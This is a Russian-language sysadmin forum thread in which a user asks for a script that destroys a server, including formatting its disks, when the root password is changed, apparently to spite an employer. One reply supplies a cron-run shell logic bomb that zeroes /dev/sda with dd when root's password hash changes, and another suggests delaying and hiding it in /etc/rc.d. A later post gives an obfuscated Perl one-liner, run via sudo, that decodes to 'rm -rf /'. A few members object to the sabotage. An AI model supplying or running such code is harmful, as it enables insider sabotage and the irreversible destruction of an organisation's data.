Нужен убийственнный скип

Разговоры ни о чём

Модератор: vadim64

Sky
проходил мимо

Нужен убийственнный скип

Непрочитанное сообщение Sky » 2009-07-31 20:39:00

Нужен убийственнный скипт который при смене рутового пароля гробит систему совсем вплоть до форматирования дисков.....
Знатоки шелла поможите плиз..... 8)

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

Аватара пользователя
goshanecr
сержант
Сообщения: 252
Зарегистрирован: 2008-03-31 15:54:49
Откуда: Пермь, Екатеринбург
Контактная информация:

Re: Нужен убийственнный скип

Непрочитанное сообщение goshanecr » 2009-07-31 22:31:11

Да тут не надо вроде быть прямо знатоком шелла :)
1. Дай своему root'у какой нибудь уникальный User Comment (чтобы его хеш пароля можно было выделиьт однозначно из списка других логинов)

Код: Выделить всё

pw usermod root -c NEW_COMMENT 
2. Теперь узнаём md5 текущего хеша (md5 нужен чтобы не было проблем с всякими спецсимволами из хеша в дальнейшем) и сохраняем полученный хеш в /root/.truepass

Код: Выделить всё

md5 -qs `cat /etc/master.passwd | grep root | grep NEW_COMMENT | awk -F : '{print $2}'` > /root/.truepass
3. Теперь собственно сам скрипт который запускаешь cron'ом каждую минуту

Код: Выделить всё

#!/bin/sh
#Получаем текущий хеш
HASH=`cat /etc/master.passwd | grep root | grep NEW_COMMENT | awk -F : '{print $2}'`
CURHASH=`md5 -qs ${HASH}` 
#Сравниваем с текущим
cat /root/.truepass | grep ${CURHASH}
#Если не идентичные то рубим всё к чертям самыми разными способами (предполагаем уничтожение диска /dev/sda):)
if  [ "$?" -ne "0" ] ; then
      dd if=/dev/zero of=/dev/sda bs=65535
fi
Написал от руки, сам не пробовал можно чуть поправить коли чего :) Знаю что не программист я, так что не пинать :)
Люблю в инете шарить. И браузер мой только Opera !!!
Пользователям стараюсь ставить дистр Ubuntu. Уже 3 человека пересели.
Домашний комп FreeBSD 9.0 amd64
FreeBSD - изменим жизнь к лучшему!

Аватара пользователя
schizoid
подполковник
Сообщения: 3228
Зарегистрирован: 2007-03-03 17:32:31
Откуда: Украина, Чернигов
Контактная информация:

Re: Нужен убийственнный скип

Непрочитанное сообщение schizoid » 2009-08-03 9:15:27

интересно, а накуя такие скрипты нужны?
ядерный взрыв...смертельно красиво...жаль, что не вечно...

Аватара пользователя
gonzo111
лейтенант
Сообщения: 648
Зарегистрирован: 2007-11-15 16:32:33
Откуда: China
Контактная информация:

Re: Нужен убийственнный скип

Непрочитанное сообщение gonzo111 » 2009-08-03 10:18:00

тогда еще проверку времени надо добавить чтоб ровно через 1.5 мес
когда всю зп отдадут и новый одмин начнет менять пароль :oops:
можно куда нибудь в /etc/rc.d забабахать :crazy:
аж самому страшно потом приходить админить такой сервак если он еще и файловый и почтовый :Search:

будет глубокая благодарность неблагодарному начальству, конечно новый админ попадет под раздачу...
как правило жлобское руководство возмет человека на такую же зп как и была у прошлого админа в течении последних эдак 2 лет и квалификация его будет соответствующая и может кто-то из этих босов поймет, что на зп админа экономить не следует.... :st:
Тяжело в учении легко в РАЮ!
беру зарплату гречкой и сахаром...
Наша комната - lissyara.su@conference.jabber.ru

Аватара пользователя
goshanecr
сержант
Сообщения: 252
Зарегистрирован: 2008-03-31 15:54:49
Откуда: Пермь, Екатеринбург
Контактная информация:

Re: Нужен убийственнный скип

Непрочитанное сообщение goshanecr » 2009-08-03 10:41:01

Смотри как бы сам под раздачу не попал... Зачем следующему админу то гадить? Он в чём-то разве виноват? Я так понимаю можно себя обезопасить до выдачи всей ЗП каким-то образом по типу шифрование разделов на которых лежат данные и чтобы ты мог один их смонтировать, то бишь пока не выдадут ЗП нет доступа к данным. А уже в случае нормального увольнения (с выплатой всех долгов и исполнения всех договорённостей) отдаёшь все ключи, явки, пароли.. Просто так уничтожать всё если начальство со своей стороны исполнило обязательства, как то некрасиво.
Люблю в инете шарить. И браузер мой только Opera !!!
Пользователям стараюсь ставить дистр Ubuntu. Уже 3 человека пересели.
Домашний комп FreeBSD 9.0 amd64
FreeBSD - изменим жизнь к лучшему!

Аватара пользователя
gonzo111
лейтенант
Сообщения: 648
Зарегистрирован: 2007-11-15 16:32:33
Откуда: China
Контактная информация:

Re: Нужен убийственнный скип

Непрочитанное сообщение gonzo111 » 2009-08-03 14:35:17

это все понятно, я ж не против если тебе(мне) все выплатили и все без проблем, то и незачем огурцы так мариновать:smile:
Тяжело в учении легко в РАЮ!
беру зарплату гречкой и сахаром...
Наша комната - lissyara.su@conference.jabber.ru

Sky
проходил мимо

Re: Нужен убийственнный скип

Непрочитанное сообщение Sky » 2009-08-04 9:12:41

Народ, спасибо за помощь..... Интересующимся отвечу - бывают ситуации когда обижают не админа а всю команду целиком. Люди снимаются и уходят делать бизнес в другом месте, а вот дарить наработанное очень не хочется. Поэтому и возникают такие вопросы. :x
С другой стороны, загубить 10 лет труда рука не поднимается.... пусть это сделает железный паровоз с подачи новой команды.... :-o

Аватара пользователя
terminus
майор
Сообщения: 2305
Зарегистрирован: 2007-10-29 11:27:35
Откуда: Рига

Re: Нужен убийственнный скип

Непрочитанное сообщение terminus » 2009-08-04 9:39:47

Не, ИМХО так делать неправельно. Результаты труда уже с тобой - в голове и опыте, а вот рушить сделанное своими руками только из-за каких-то говнотёрок с "манагерами" не стоит, и делать западло для следующего админа я бы тоже не стал... :pardon:

Полностью передать сделанное, а потом пусть сами разбираются, если такие умные - это тоже в некотором роде вариант. ;-)
Модель: AST-PM-105/0044; Тип: Универсальный, ремонтный; Название: Терминус; Род повреждения: Распад функций; Выводы: Сдать на слом.

Аватара пользователя
Mefis
мл. сержант
Сообщения: 116
Зарегистрирован: 2007-08-14 14:21:59
Откуда: Украина, Киев
Контактная информация:

Re: Нужен убийственнный скип

Непрочитанное сообщение Mefis » 2009-08-04 14:34:18

Код: Выделить всё

echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Те же яйца, но в профиль:

Код: Выделить всё

$var = "=]=>%-{<-|}<&|`{";
$var = tr{ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}}
         {`abcdefghijklmnopqrstuvwxyz{/" -};
eval($var);
То есть, сначала командой $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{; во временную переменную записывается текст =]=>%-{<-|}<&|`{, затем он транслитерируется (y; -/:-@[-`{-};`-{/" -;) и превращается в команду system"rm -rf /" .Далее эта команда отдается на исполнение интерпретатору (s;;$_;see). Скрипт использует ряд идиом Perl, усложняющих чтение исходного кода.
Confucius say: Karma is a bitch